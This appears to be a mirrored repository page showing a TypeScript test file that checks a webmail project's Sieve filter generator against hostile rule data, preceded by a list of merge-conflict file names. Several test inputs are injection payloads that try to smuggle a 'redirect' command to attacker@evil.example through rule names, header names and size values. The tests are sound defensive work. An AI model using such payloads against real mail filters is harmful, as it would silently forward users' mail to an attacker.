mirror of
https://github.com/bulwarkmail/webmail.git
synced 2026-11-02 08:15:55 +00:00
# Conflicts: # CONTRIBUTING.md # LICENSE # README.md # app/api/calendar-agenda/route.ts # app/api/wopi/files/[fileId]/contents/route.ts # app/api/wopi/launch/route.ts # components/calendar/calendar-app.tsx # components/calendar/calendar-day-view.tsx # components/calendar/calendar-month-view.tsx # components/calendar/calendar-week-view.tsx # components/calendar/event-modal.tsx # components/contacts/contact-detail.tsx # components/email/email-composer.tsx # components/email/email-list.tsx # components/files/file-browser.tsx # components/files/files-app.tsx # components/files/folder-tree-sidebar.tsx # components/filters/filter-rule-modal.tsx # components/mail/mail-app.tsx # hooks/use-mailbox-drop.ts # integration/run-tests.sh # lib/__tests__/calendar-agenda-route.test.ts # lib/__tests__/jmap-draft-lifecycle.test.ts # lib/__tests__/web-push.test.ts # lib/account-state-manager.ts # lib/jmap/client-interface.ts # lib/jmap/client.ts # lib/jmap/types.ts # lib/message-list-order.ts # lib/sieve/generator.ts # lib/sieve/parser.ts # lib/telemetry/payload.ts # lib/thread-utils.ts # lib/unified-mailbox.ts # lib/web-push.ts # lib/wopi/token.ts # locales/ar/common.json # locales/ca/common.json # locales/cs/common.json # locales/da/common.json # locales/de/common.json # locales/en/common.json # locales/es/common.json # locales/fa/common.json # locales/fr/common.json # locales/he/common.json # locales/hu/common.json # locales/it/common.json # locales/ja/common.json # locales/ko/common.json # locales/lv/common.json # locales/mn/common.json # locales/nb/common.json # locales/nl/common.json # locales/pl/common.json # locales/pt/common.json # locales/ro/common.json # locales/ru/common.json # locales/sk/common.json # locales/tr/common.json # locales/uk/common.json # locales/zh-TW/common.json # locales/zh/common.json # scripts/lite/lib.mjs # stores/__tests__/calendar-store-synthetic-ids.test.ts # stores/__tests__/email-store-shared-folder-keywords.test.ts # stores/__tests__/email-store-unified-actions.test.ts # stores/__tests__/file-store.test.ts # stores/email-store.ts # stores/file-store.ts # stores/message-list-tabs-store.ts
72 lines
3.0 KiB
TypeScript
72 lines
3.0 KiB
TypeScript
import { describe, it, expect } from 'vitest';
|
|
import { generateScript } from '../generator';
|
|
import { parseScript } from '../parser';
|
|
import type { FilterRule } from '@/lib/jmap/sieve-types';
|
|
|
|
// Rule names and a few condition fields went into the script unescaped:
|
|
// a "*/" in a name closed the metadata comment, a line break left the
|
|
// "# Rule:" comment, and a header name or size value could close its
|
|
// string or number and add commands. Rules arrive from plugins with
|
|
// filters:write and from imported filter sets, not only from the editor.
|
|
|
|
function rule(overrides: Partial<FilterRule> = {}): FilterRule {
|
|
return {
|
|
id: 'r1',
|
|
name: 'Receipts',
|
|
enabled: true,
|
|
matchType: 'all',
|
|
conditions: [{ field: 'subject', comparator: 'contains', value: 'receipt' }],
|
|
actions: [{ type: 'mark_read' }],
|
|
stopProcessing: false,
|
|
...overrides,
|
|
};
|
|
}
|
|
|
|
/** The script with every comment removed: what Sieve actually executes. */
|
|
function commands(script: string): string {
|
|
return script.replace(/\/\*[\s\S]*?\*\//g, '').replace(/^\s*#.*$/gm, '');
|
|
}
|
|
|
|
describe('generateScript with hostile rule data', () => {
|
|
it('keeps a "*/" in a rule name inside the metadata comment', () => {
|
|
const name = 'Receipts */ redirect "attacker@evil.example"; /* x';
|
|
const script = generateScript([rule({ name })]);
|
|
expect(commands(script)).not.toContain('attacker@evil.example');
|
|
|
|
const parsed = parseScript(script);
|
|
expect(parsed.rules[0]?.name).toBe(name);
|
|
});
|
|
|
|
it('keeps a multi-line rule name on its comment line', () => {
|
|
const script = generateScript([rule({ name: 'Receipts\nredirect "attacker@evil.example";' })]);
|
|
expect(commands(script)).not.toContain('attacker@evil.example');
|
|
expect(script).toContain('# Rule: Receipts redirect');
|
|
});
|
|
|
|
it('leaves out a rule whose header name could close its string', () => {
|
|
const script = generateScript([rule({
|
|
conditions: [{ field: 'header', headerName: 'X-A" redirect "attacker@evil.example', comparator: 'contains', value: 'z' }],
|
|
})]);
|
|
// Not a header name the server accepts: the rule is skipped, so nothing
|
|
// of it reaches the commands, and it stays in the metadata to be fixed.
|
|
expect(commands(script)).not.toContain('attacker@evil.example');
|
|
expect(commands(script)).not.toContain('header :contains');
|
|
expect(parseScript(script).rules[0]?.conditions[0]?.headerName).toBe('X-A" redirect "attacker@evil.example');
|
|
});
|
|
|
|
it('refuses a size that is not a number', () => {
|
|
const script = generateScript([rule({
|
|
conditions: [{ field: 'size', comparator: 'greater_than', value: '1 { redirect "attacker@evil.example"; } if true' }],
|
|
})]);
|
|
expect(commands(script)).not.toContain('attacker@evil.example');
|
|
expect(script).toContain('size :over 0');
|
|
});
|
|
|
|
it('keeps a size with a quantifier', () => {
|
|
const script = generateScript([rule({
|
|
conditions: [{ field: 'size', comparator: 'greater_than', value: '10M' }],
|
|
})]);
|
|
expect(script).toContain('size :over 10M');
|
|
});
|
|
});
|